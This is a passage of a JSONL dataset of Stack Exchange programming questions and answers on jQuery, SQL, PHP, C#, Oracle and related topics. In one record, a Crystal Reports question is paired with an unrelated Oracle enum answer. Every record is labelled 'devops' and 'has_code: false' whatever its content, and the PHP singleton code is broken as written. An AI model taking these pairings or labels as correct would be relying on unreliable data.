10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:51.773067"}
{"id": "hf_c7560318e6c2", "question": "<p>I have a bit of code where I am looping through all the select boxes on a page and binding a <code>.hover</code> event to them to do a bit of twiddling with their width on <code>mouse on/off</code>.</p>\n\n<p>This happens on page ready and works just fine.</p>\n\n<p>The problem I have is that any select boxes I add via Ajax or DOM after the initial loop won't have the event bound.</p>\n\n<p>I have found this plugin (<a href=\"http://brandonaaron.net/docs/livequery/#getting-started\" rel=\"noreferrer\">jQuery Live Query Plugin</a>), but before I add another 5k to my pages with a plugin, I want to see if anyone knows a way to do this, either with jQuery directly or by another option.</p>\n", "question_body": "", "answer": "You can add events to objects when you create them. If you are adding the same events to multiple objects at different times, creating a named function might be the way to go.\n```\n```\nvar mouseOverHandler = function() {\n    // Do stuff\n};\nvar mouseOutHandler = function () {\n    // Do stuff\n};\n\n$(function() {\n    // On the document load, apply to existing elements\n    $('select').hover(mouseOverHandler, mouseOutHandler);\n});\n\n// This next part would be in the callback from your Ajax call\n$(\"<select></select>\")\n    .append( /* Your <option>s */ )\n    .hover(mouseOverHandler, mouseOutHandler)\n    .appendTo( /* Wherever you need the select box */ )\n;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:51.901575"}
{"id": "hf_8a6622c96edf", "question": "<p>I tried but I guess Message Box only works with win forms. What is the best alternative to use in web forms?</p>\n", "question_body": "", "answer": "```\n```\nresult = confirm('Yes or no question here.')\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:51.925318"}
{"id": "hf_01f2078d23dc", "question": "<p>I got a program with a fscanf like this:</p>\n\n<p>fscanf(stdin, \"%d %d,....</p>\n\n<p>I got many fscanf and files that I'd like to test, the files are like this</p>\n\n<p>10485770 15 51200000\n -2 10 \n10 10485760 10485760\n10 10485760 10485760\n10 10485760 10485760</p>\n\n<p>Well my question is how can I tell to the program or the compiler to take the inputs not from the keyboard, but from those files. These programs are benchmarks and in the files I got the inputs, I'm sure there is a way to do this automatic because in some case there are many inputs. Thank you in advance.</p>\n", "question_body": "", "answer": "Try freopen. Eg.\n```\n```\nfreopen( \"somefile.txt\", \"r\", stdin );\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:51.965318"}
{"id": "hf_8573214ba90c", "question": "<p>I'm a PHP developer who knows a little bit of Ruby. I want to learn Ruby on Rails, but most of the resources I've come across treat RoR functionality as \"magic\" -- i.e., it has a certain internal consistency, but don't bother asking how it works in terms of Ruby, MySQL, etc.</p>\n\n<p>Anyway, I want a deep understanding of how RoR works, the design decisions that went into building it, etc. In particular I'm interested in ActiveRecord, but really I'm looking for the whole package.</p>\n\n<p>Any books / sites / advice welcome.</p>\n", "question_body": "", "answer": "I found this site a good starting reference:\nhttp://www.tutorialspoint.com/ruby-on-rails-2.1/index.htm\nIt assumes MySQL in its examples.\nI am sure you can find heaps and heaps by just googling for \"ruby on rails tutorials\", though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:52.072131"}
{"id": "hf_49d25e8f0bc1", "question": "<p>I have a table in my database which stores a tree structure. Here are the relevant fields:</p>\n\n<pre><code>mytree (id, parentid, otherfields...)\n</code></pre>\n\n<p>I want to find all the leaf nodes (that is, any record whose <code>id</code> is not another record's <code>parentid</code>)</p>\n\n<p>I've tried this:</p>\n\n<pre><code>SELECT * FROM mytree WHERE `id` NOT IN (SELECT DISTINCT `parentid` FROM `mytree`)\n</code></pre>\n\n<p>But that returned an empty set. Strangely, removing the \"NOT\" returns the set of all the non-leaf nodes.</p>\n\n<p>Can anyone see where I'm going wrong?</p>\n\n<p><em>Update:</em> Thanks for the answers folks, they all have been correct and worked for me. I've accepted Daniel's since it also explains why my query didn't work (the NULL thing).</p>\n", "question_body": "", "answer": "No clue why your query didn't work.  Here's the identical thing in left outer join syntax - try it this way?\n```\n```\nselect a.*\nfrom mytree a left outer join\n     mytree b on a.id = b.parentid\nwhere b.parentid is null\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:52.131357"}
{"id": "hf_e97f86113122", "question": "<p>I'm trying to figure out how to consume a WCF service in BizTalk 2006 R2 (sending a request and receiving a response).</p>\n\n<p>I've gotten as far as going through the \"Add Generated Items\" wizard.  Now I am trying to find out how to use the items it generated in an orchestration.</p>\n\n<p>How should the request be made?</p>\n", "question_body": "", "answer": "BizTalk is overkill if you are just using it to orchestrate WCF services. You can use WCF services in .NET 3.5 inside of Windows Workflow Foundation a bit more easily.\nThat said, here is a screencast that should help:\nhttp://www.pluralsight.com/community/blogs/aaron/archive/2007/11/15/49172.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:52.154116"}
{"id": "hf_d384c9b9ec90", "question": "<p>What is the equivalent of the extended procedure 'xp_dirscan' in SQL Server 2005?</p>\n", "question_body": "", "answer": "```\nxp_dirscan\n```\nseems to be an extended stored proc that performs a recursive directory search. If you have access to the DLL you could register it as an extended stored proc in SQL 2005.\nAlternatively, you could code something that performs the same action using\n```\nxp_cmdshell\n```\nor a managed extended stored proc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:52.177540"}
{"id": "hf_71729bef6cc1", "question": "<p>How would one create a Singleton class using PHP5 classes?</p>\n", "question_body": "", "answer": "```\n```\n/**\n * Singleton class\n *\n */\nfinal class UserFactory\n{\n    private static $inst = null;\n\n    // Prevent cloning and de-serializing\n    private function __clone(){}\n    private function __wakeup(){}\n\n    /**\n     * Call this method to get singleton\n     *\n     * @return UserFactory\n     */\n    public static function Instance()\n    {\n        if ($inst === null) {\n            $inst = new UserFactory();\n        }\n        return $inst;\n    }\n    \n    /**\n     * Private ctor so nobody else can instantiate it\n     *\n     */\n    private function __construct()\n    {\n        \n    }\n}\n```\n```\nTo use:\n```\n```\n$fact = UserFactory::Instance();\n$fact2 = UserFactory::Instance();\n```\n```\n```\n$fact == $fact2;\n```\nBut:\n```\n```\n$fact = new UserFactory()\n```\n```\nThrows an error.\nSee\nhttp://php.net/manual/en/language.variables.scope.php#language.variables.scope.static\nto understand static variable scopes and why setting\n```\nstatic $inst = null;\n```\nworks.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:52.201875"}
{"id": "hf_aa15879c86c4", "question": "<p>How do you get the max value of an enum?</p>\n", "question_body": "", "answer": "Enum.GetValues() seems to return the values in order, so you can do something like this:\n```\n```\n// given this enum:\npublic enum Foo\n{\n    Fizz = 3, \n    Bar = 1,\n    Bang = 2\n}\n\n// this gets Fizz\nvar lastFoo = Enum.GetValues(typeof(Foo)).Cast<Foo>().Last();\n```\n```\nEdit\nFor those not willing to read through the comments: You can also do it this way:\n```\n```\nvar lastFoo = Enum.GetValues(typeof(Foo)).Cast<Foo>().Max();\n```\n```\n... which will work when some of your enum values are negative.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:52.271991"}
{"id": "hf_7cc06a809a3b", "question": "<p>I'm running a MySQL database locally for development, but deploying to Heroku which uses Postgres. Heroku handles almost everything, but my case-insensitive Like statements become case sensitive. I could use iLike statements, but my local MySQL database can't handle that.</p>\n\n<p>What is the best way to write a case insensitive query that is compatible with both MySQL and Postgres? Or do I need to write separate Like and iLike statements depending on the DB my app is talking to?</p>\n", "question_body": "", "answer": "```\n```\nselect * from foo where upper(bar) = upper(?);\n```\n```\nIf you set the parameter to upper case in the caller, you can avoid the second function call.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:52.342334"}
{"id": "hf_b1283e9aa4b6", "question": "<p>I'd like to upload (via ftp) a website when doing a release build in visual studio 2008.  I don't want any source code files to be uploaded and it would be nice to configure which folders should get uploaded.  I'm using either ASP.NET Web Applications or MVC.  How do I configure VS.NET to automatically upload (and overwrite) the last deployed website?</p>\n", "question_body": "", "answer": "You can use the\nVisual Studio Web Deployment Project\nAdd In from Microsoft.\nI use this with MSBuild as part of CruiseControl, its very nice, and with some of the\nCommunity Tasks for MS Build\nyou can do *.config (or any XML file) substitutions as part of your build process.\nEdit: I also see that the MSBuild Community Tasks includes an FtpUpload action.  This should be exactly what you need.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:52.366252"}
{"id": "hf_ff5c0c622807", "question": "<p>What's the ASP equivalent to PHP's <code>.=</code> when concatenating strings? I'm referring to asp NOT asp.net.</p>\n\n<p>I meant to specify that I'm in a for-loop. So I want to know the equivalent for <code>.=</code> (in php) not standard concatenation.</p>\n\n<p><em>Example:</em></p>\n\n<pre><code>For Each Item In Request.Form\n    If (Item = \"service\") then \n        For x=1 To Request.Form(item).Count\n            service = \"&amp;service=\"&amp;Request.Form(Item)(x)\n        Next\n    End If\nNext\n</code></pre>\n", "question_body": "", "answer": "In VBScript:\n```\n```\nVariable = Variable & \"something more\"\n```\n```\nIn JScript I believe you can use:\n```\n```\nvariable += \"something more\";\n```\n```\nSpecifically:\n```\n```\nservice = service & \"&service=\" & Request.Form(Item)(x)\n```\n```\nassuming you want your result to look something like...\n```\n```\n&service=blah1&service=blah2&service=blah3\n```\n```\nThough you may need to URL encode your Request.Form(Item)(x) values because any \"&\" (and other characters) could really muck up what you are trying to do.  Also be careful when using unsanitized input like this directly from an HTML form, its very dangerous.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:52.390886"}
{"id": "hf_100415dd73c7", "question": "<p>I can get the executable location from the process, how do I get the icon from file?</p>\n\n<p>Maybe use windows api LoadIcon(). I wonder if there is .NET way...</p>\n", "question_body": "", "answer": "```\n```\nIcon ico = Icon.ExtractAssociatedIcon(theProcess.MainModule.FileName);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:52.449719"}
{"id": "hf_b1d4fed8b0a5", "question": "<p>How do you use enums in Oracle using SQL only? (No PSQL)</p>\n\n<p>In MySQL you can do:</p>\n\n<pre><code>CREATE TABLE sizes (\n   name ENUM('small', 'medium', 'large')\n);\n</code></pre>\n\n<p>What would be a similar way to do this in Oracle?</p>\n", "question_body": "", "answer": "Reading a bit about the\nMySQL enum\n, I'm guessing the closest equivalent would be a simple check constraint\n```\n```\nCREATE TABLE sizes (\n  name VARCHAR2(10) CHECK( name IN ('small','medium','large') )\n);\n```\n```\nbut that doesn't allow you to reference the value by the index.  A more complicated foreign key relationship would also be possible\n```\n```\nCREATE TABLE valid_names (\n  name_id   NUMBER PRIMARY KEY,\n  name_str  VARCHAR2(10)\n);\n\nINSERT INTO valid_sizes VALUES( 1, 'small' );\nINSERT INTO valid_sizes VALUES( 2, 'medium' );\nINSERT INTO valid_sizes VALUES( 3, 'large' );\n\nCREATE TABLE sizes (\n  name_id NUMBER REFERENCES valid_names( name_id )\n);\n\nCREATE VIEW vw_sizes\n  AS \n  SELECT a.name_id name, <<other columns from the sizes table>>\n    FROM valid_sizes a,\n         sizes       b\n   WHERE a.name_id = b.name_id\n```\n```\nAs long as you operate through the view, it would seem that your could replicate the functionality reasonably well.\nNow, if you admit PL/SQL solutions, you can create custom object types that could include logic to limit the set of values they can hold and to have methods to get the IDs and to get the values, etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:52.484963"}
{"id": "hf_ddc50e82e986", "question": "<p>I have a Crystal Report that looks like:</p>\n\n<p><em>Date | Person | Ticket | Summary <br>\nDate | Person | Ticket | Summary <br>\nDate | Person | Ticket | Summary</em> </p>\n\n<p>I would like it to look like: </p>\n\n<p><em>Date <br>\nPerson | Ticket | Summary <br> \nPerson | Ticket | Summary <br><br>\nDate <br>\nPerson | Ticket | Summary</em></p>\n\n<p>All values are pulled from a MS SQL 2000 database, the application that will ultimately use the report is a VB 6 app that I unfortunately have to support. </p>\n", "question_body": "", "answer": "Reading a bit about the\nMySQL enum\n, I'm guessing the closest equivalent would be a simple check constraint\n```\n```\nCREATE TABLE sizes (\n  name VARCHAR2(10) CHECK( name IN ('small','medium','large') )\n);\n```\n```\nbut that doesn't allow you to reference the value by the index.  A more complicated foreign key relationship would also be possible\n```\n```\nCREATE TABLE valid_names (\n  name_id   NUMBER PRIMARY KEY,\n  name_str  VARCHAR2(10)\n);\n\nINSERT INTO valid_sizes VALUES( 1, 'small' );\nINSERT INTO valid_sizes VALUES( 2, 'medium' );\nINSERT INTO valid_sizes VALUES( 3, 'large' );\n\nCREATE TABLE sizes (\n  name_id NUMBER REFERENCES valid_names( name_id )\n);\n\nCREATE VIEW vw_sizes\n  AS \n  SELECT a.name_id name, <<other columns from the sizes table>>\n    FROM valid_sizes a,\n         sizes       b\n   WHERE a.name_id = b.name_id\n```\n```\nAs long as you operate through the view, it would seem that your could replicate the functionality reasonably well.\nNow, if you admit PL/SQL solutions, you can create custom object types that could include logic to limit the set of values they can hold and to have methods to get the IDs and to get the values, etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:52.512386"}
{"id": "hf_5e2e3efd0c70", "question": "<p>My organization is working on building RESTful webservices on JBoss appserver. The QA team is used to testing SOAP webservices so far using SoapUI. SoapUI has a new version that has REST capabilities. We're considering using that.</p>\n\n<ol>\n<li>Are there any publicly available RESTful services available on the net for free that someone could test ? <br> </li>\n<li>What tools are available(and used) for testing RESTful web services ?</li>\n</ol>\n", "question_body": "", "answer": "CURL Gets you halfway there.  The other half is checking the headers, response codes and entity content to make sure its good.  You could use a variety of tools for that (in shell scripting land, piping the header and contents to files, and diffing them might just do the trick).   It wouldn't be that difficult to further refine the toolset, maybe stacking curl up with the unit-testing framework of your choice.\nI built a rest webservice testing panel with AJAX.  It wasn't that difficult at all actually.  You have some security issues to work out (i.e. making sure that you have the test suite on the same server, or maybe signed Javascript.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:52.573198"}
{"id": "hf_a299b7e7786c", "question": "<p>When I build XML up from scratch with <code>XmlDocument</code>, the <code>OuterXml</code> property already has everything nicely indented with line breaks.  However, if I call <code>LoadXml</code> on some very \"compressed\" XML (no line breaks or indention) then the output of <code>OuterXml</code> stays that way.  So ...</p>\n\n<p>What is the simplest way to get beautified XML output from an instance of <code>XmlDocument</code>?</p>\n", "question_body": "", "answer": "As adapted from\nErika Ehrli's\nblog, this should do it:\n```\n```\nXmlDocument doc = new XmlDocument();\ndoc.LoadXml(\"<item><name>wrench</name></item>\");\n// Save the document to a file and auto-indent the output.\nusing (XmlTextWriter writer = new XmlTextWriter(\"data.xml\", null)) {\n    writer.Formatting = Formatting.Indented;\n    doc.Save(writer);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:52.620386"}
{"id": "hf_c4879ac9ef7c", "question": "<p>I recently had to work on a project where the previous developer modified the wp-admin directory. It seems like a bad idea to me, since Wordpress is constantly updated. Am I just not at that level of expertise with modifying Wordpress?</p>\n", "question_body": "", "answer": "Being open source, I think it's a common thing for software like WordPress to be modified and extended at any point.\nTo modify or not to modify is a choice between trade-offs. New features can be encapsulated as modules, which may, perhaps, cause their functionality to be less integrated than desired. However, fully integrating changes may hinder easily updating the software as new versions are released.\nIt does require that someone be very familiar with the software to modify the software directly, but this isn't necessarily a bad idea.\nOn a side note, I think modifying WordPress is almost a necessity, especially if you want it to have a decent architecture or to actually be secure (ok, that was a jab, sue me).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:52.647846"}
{"id": "hf_99463bf93a6a", "question": "<p>I've been getting this undefined symbol building with this command line:</p>\n\n<pre><code>$ gcc test.cpp\nUndefined symbols:\n  \"___gxx_personality_v0\", referenced from:\n  etc...\n</code></pre>\n\n<p>test.cpp is simple and should build fine.  What is the deal?</p>\n", "question_body": "", "answer": "Use\n```\n```\ng++ test.cpp\n```\n```\ninstead, since this is c++ code.\nOr, if you\nreally\nwant to use\n```\ngcc\n```\n, add\n```\n-lstdc++\n```\nto the command line, like so:\n```\n```\ngcc test.cpp -lstdc++\n```\n```\nRunning\n```\nmd5\n```\nagainst the\n```\na.out\n```\nproduced under each scenario shows that it's the same output.\nBut, yeah,\n```\ng++\n```\nprobably makes your world a simpler place.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:52.671461"}
{"id": "hf_824902ab6687", "question": "<p>I've looked at both the <a href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.20\" rel=\"nofollow noreferrer\">Named Parameter Idiom</a> and the <a href=\"http://www.boost.org/doc/libs/1_36_0/libs/parameter/doc/html/index.html\" rel=\"nofollow noreferrer\">Boost::Parameter library</a>. What advantages does each one have over the other? Is there a good reason to always choose one over the other, or might each of them be better than the other in some situations (and if so, what situations)?</p>\n", "question_body": "", "answer": "Implementing the Named Parameter Idiom is really easy, almost about as easy as using Boost::Parameter, so it kind of boils down to one main point.\n-Do you already have boost dependencies? If you don't, Boost::parameter isn't special enough to merit adding the dependency.\nPersonally I've never seen Boost::parameter in production code, 100% of the time its been a custom implementation of Named Parameters, but that's not necessarily a good thing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:52.821588"}
{"id": "hf_4d2a85733649", "question": "<p>I need to parse recipe ingredients into amount, measurement, item, and description as applicable to the line, such as 1 cup flour, the peel of 2 lemons and 1 cup packed brown sugar etc. What would be the best way of doing this? I am interested in using python for the project so I am assuming using the nltk is the best bet but I am open to other languages.</p>\n", "question_body": "", "answer": "Can you be more specific what your input is? If you just have input like this:\n```\n```\n1 cup flour\n2 lemon peels\n1 cup packed brown sugar\n```\n```\nIt won't be too hard to parse it without using any NLP at all.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:52.858792"}
{"id": "hf_792d6f6b0a94", "question": "<p>When you create an instance of a class with the <code>new</code> operator, memory gets allocated on the heap. When you create an instance of a struct with the <code>new</code> operator where does the memory get allocated, on the heap or on the stack ?</p>\n", "question_body": "", "answer": "As with all value types, structs always go where they were\ndeclared\n.\nSee this question\nhere\nfor more details on when to use structs.\nAnd this question\nhere\nfor some more info on structs.\nEdit:\nI had mistankely answered that they\nALWAYS\ngo in the stack. This is\nincorrect\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:52.895028"}
{"id": "hf_719eda95181a", "question": "<p>Ok, so at some point in time, somebody checked in some files with names that require a case sensitive file system into the trunk of a repository that I constantly check out.  This of course leads to my local working copy locking up when I try to check it out (on my Windows computer).  Is there any way that I can set my local subversion copy so that it will ignore any files whose names differ only in case?</p>\n", "question_body": "", "answer": "You can use the repository browser to remove/rename the offending file then update your working copy as per normal, fix up any references to the file you renamed that may need fixing up, and commit the fixes.\nThen drag up a shotgun and shoot whoever did this in the first place. Case sensitivity abuse is one of the few bad smells that I have trouble forgiving.\n(edit: This assumes TortoiseSVN, but the solutions work for any SVN implementation. You just don't get to use a pretty browser.)\nEdit:\nThe other option is to rename the local version of the file, then use the repository browser to check out the second version of the clashing files, move things around, sort out references as above, then commit the changes.\nThis has the advantage of only requiring one commit, and not messing around with other people unnecessarily who may or may not be working with the two files.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:52.919405"}
{"id": "hf_1ecc65b304f0", "question": "<p>The following two forms of jQuery selectors seem to do the same thing:</p>\n\n<ul>\n<li>$(\"div > ul.posts\") </li>\n<li>$(\"div ul.posts\")</li>\n</ul>\n\n<p>which is to select all the \"ul\" elements of class \"posts\" under \"div\" elements.</p>\n\n<p>Is there any difference?</p>\n", "question_body": "", "answer": "The first only selects ul.posts whose parentNode is div.\nThe second would also select:\n```\n```\n<div>\n    <blockquote>\n        <ul class=\"posts\"></ul>\n    </blockquote>\n</div>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:52.943685"}
{"id": "hf_f5382a796f9c", "question": "<p>Is there a acts as taggable solution out there for merb users already?</p>\n", "question_body": "", "answer": "Looks like the answer to your question as asked is \"No\".\nI did find\nthis\nwhich at least shows some interest, but it's a few months old now with no apparent progress.\nMaybe you could get some more information by rephrasing the question? Something like \"what options are available for tagging in Merb?\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:52.979273"}
{"id": "hf_a14d7b601c91", "question": "<pre><code>&quot;foo&quot; instanceof String //=&gt; false\n&quot;foo&quot; instanceof Object //=&gt; false\n\ntrue instanceof Boolean //=&gt; false\ntrue instanceof Object //=&gt; false\nfalse instanceof Boolean //=&gt; false\nfalse instanceof Object //=&gt; false\n\n12.21 instanceof Number //=&gt; false\n/foo/ instanceof RegExp //=&gt; true\n\n// the tests against Object really don't make sense\n</code></pre>\n<p>Array literals and Object literals match...</p>\n<pre><code>[0,1] instanceof Array //=&gt; true\n{0:1} instanceof Object //=&gt; true\n</code></pre>\n<p>Why don't all of them? Or, why don't they all <em>not</em>?<br />\nAnd, what are they an instance of, then?</p>\n<p>It's the same in FF3, IE7, Opera, and Chrome. So, at least it's consistent.</p>\n", "question_body": "", "answer": "Primitives are a different kind of type than objects created from within Javascript. From the\nMozilla API docs\n:\n```\n```\nvar color1 = new String(\"green\");\ncolor1 instanceof String; // returns true\nvar color2 = \"coral\";\ncolor2 instanceof String; // returns false (color2 is not a String object)\n```\n```\nI can't find any way to construct primitive types with code, perhaps it's not possible. This is probably why people use\n```\ntypeof \"foo\" === \"string\"\n```\ninstead of\n```\ninstanceof\n```\n.\nAn easy way to remember things like this is asking yourself \"I wonder what would be sane and easy to learn\"? Whatever the answer is, Javascript does the other thing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:53.009615"}
{"id": "hf_88fe5aeda801", "question": "<p>I have an object, that is facing a particular direction with (for instance) a 45 degree field of view, and a limit view range. I have done all the initial checks (Quadtree node, and distance), but now I need to check if a particular object is within that view cone, (In this case to decide only to follow that object if we can see it). </p>\n\n<p>Apart from casting a ray for each degree from <code>Direction - (FieldOfView / 2)</code> to <code>Direction + (FieldOfView / 2)</code> (I am doing that at the moment and it is horrible), what is the best way to do this visibility check?</p>\n", "question_body": "", "answer": "Compute the angle between your view direction (understood as a vector) and the vector that starts at you and ends at the object. If it falls under FieldOfView/2, you can view the object.\nThat angle is:\n```\n```\narccos(scalarProduct(viewDirection, (object - you)) / (norm(viewDirection)*norm(object - you))).\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:53.099471"}
{"id": "hf_a5b38045e7f6", "question": "<p>Are there any limitations on the amount of memory that the Flash player can use? If you have a SWF that over time gets a lot of data from the server, then more and more data will be kept in memory. Is there a limitation on this?</p>\n", "question_body": "", "answer": "Not in any version of Flash that runs on desktop PCs. As long as your application keeps using more memory, desktop Flash will keep requesting it from the OS, until the OS runs out of memory or something crashes. Of course you the developer should limit your memory usage as appropriate, but Flash won't force you to do so.\nIn Flash Lite (the mobile version designed for cell phones), the host application imposes preconfigured limits on memory usage, but that's probably not what you care about. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:53.123501"}
{"id": "hf_c1944d1cdecd", "question": "<p>I am trying to use a StreamReader to read a file, but it is always in use by another process so I get this error:</p>\n\n<blockquote>\n  <p>The process cannot access the file\n  '\\arfjwknasgmed17\\C$\\FLAG\n  CONDITION\\CP-ARFJN-FLAG.XLS' because\n  it is being used by another process.</p>\n</blockquote>\n\n<p>Is there a way I can read this without copying it?  Or is that my only option?</p>\n", "question_body": "", "answer": "You can read the file only if the program that opened the file first specified read sharing rights on that file.\nIf the file does indeed have no read sharing rights though, you wouldn't be able to copy it in the first place.\nYou may not be able to access a file if you are specifying a sharing right that conflicts with the sharing right of a program that already has the file opened.  For example you can't grant write access if the program that already has it opened isn't granting write access.\nIf the program that opened the file in the first place supports Volume Shadow Copy (VSS), you can also use VSS to gain access to the file.\nThere are commercial software drivers that allow you to access such files, even when they are in use.  You used to be able to get Open File Manager by St-Bernards, and you can also  use\nFile Access Manager (FAM)\nby VisionWorks Solutions Inc.  These drivers are typically OEM'ed to backup software companies for inclusion in their products.\nVSS works by telling the program that has the file opened already that another program would like to read from the file.  VSS then does a copy of the file and lets you read from this copy.   VSS does not work for legacy applications.\nFAM transparently works for legacy and non-legacy programs alike by specifying an 'allowed list' of applications that can access exclusively opened and locked files.  Only programs in this list are allowed access to these files.  When a file is being opened, it goes into cache mode so that you will obtain a copy of the file as it was when the 'backup/open' of the file started.   At this point the program that originally opened the file sees the file as it actually is, and the second program in the allowed list, sees the file as it was when the 'open/backup' of the file happened.  This ensures consistency of the file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:53.183058"}
